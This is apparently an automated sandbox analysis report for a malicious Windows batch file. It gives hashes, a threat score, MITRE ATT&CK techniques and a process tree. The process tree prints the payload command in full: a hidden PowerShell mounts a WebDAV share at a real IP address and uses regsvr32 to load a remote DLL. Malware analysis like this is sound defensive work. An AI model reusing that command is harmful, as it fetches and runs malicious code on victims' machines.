dde4a43522e21c25c3cdc822d9b4d36e5b4a093c9964e3f8b4baa0446720e5ec

Analysis

max time kernel
136s
max time network
101s
platform
windows10-2004_x64
resource
win10v2004-20240709-en
resource tags

arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
submitted
19/07/2024, 07:06

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General

Target

246271224699336195.bat
Size

2KB
MD5

840f51ff02ae33929b328e28beb9fd4c
SHA1

42fc27ab9c57bebc598dcf7eb60d7c6a682be984
SHA256

d7c33c251d5e334608f4046198478a65a35c3311cdd4e23b3fc4af3fa7c633dd
SHA512

5e2cce089b641412c0dcec30789ca39e37311cd39c1aeb8529329f7a686304fd82a6ed98b06b72cc8c9409557f0fde1cf647460507af7ed39ff2712cf013fa19

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
3404	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-47134698-4092160662-1261813102-1000\Control Panel\International\Geo\Nation	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
3404	powershell.exe
3404	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3404	powershell.exe

Suspicious use of SetWindowsHookEx 5 IoCs

pid	Process
2856	wordpad.exe
2856	wordpad.exe
2856	wordpad.exe
2856	wordpad.exe
2856	wordpad.exe

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 3740 wrote to memory of 2856	3740	cmd.exe	85
PID 3740 wrote to memory of 2856	3740	cmd.exe	85
PID 3740 wrote to memory of 3404	3740	cmd.exe	87
PID 3740 wrote to memory of 3404	3740	cmd.exe	87
PID 3404 wrote to memory of 3904	3404	powershell.exe	89
PID 3404 wrote to memory of 3904	3404	powershell.exe	89
PID 3404 wrote to memory of 1156	3404	powershell.exe	90
PID 3404 wrote to memory of 1156	3404	powershell.exe	90

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\246271224699336195.bat"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3740
- C:\Program Files\Windows NT\Accessories\wordpad.exe
  "C:\Program Files\Windows NT\Accessories\wordpad.exe"
  2⤵
  - Suspicious use of SetWindowsHookEx
  PID:2856
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -windowstyle hidden net use \\45.9.74.36@8888\davwwwroot\ ; regsvr32 /s \\45.9.74.36@8888\davwwwroot\14800211496838.dll
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3404
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" use \\45.9.74.36@8888\davwwwroot\
    3⤵
    PID:3904
- - C:\Windows\system32\regsvr32.exe
    "C:\Windows\system32\regsvr32.exe" /s \\45.9.74.36@8888\davwwwroot\14800211496838.dll
    3⤵
    PID:1156

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k PrintWorkflow -s PrintWorkflowUserSvc
1⤵
PID:4424

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_wnr0c4s3.rgd.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/3404-0-0x0000024C45E60000-0x0000024C45E82000-memory.dmp

Filesize
136KB

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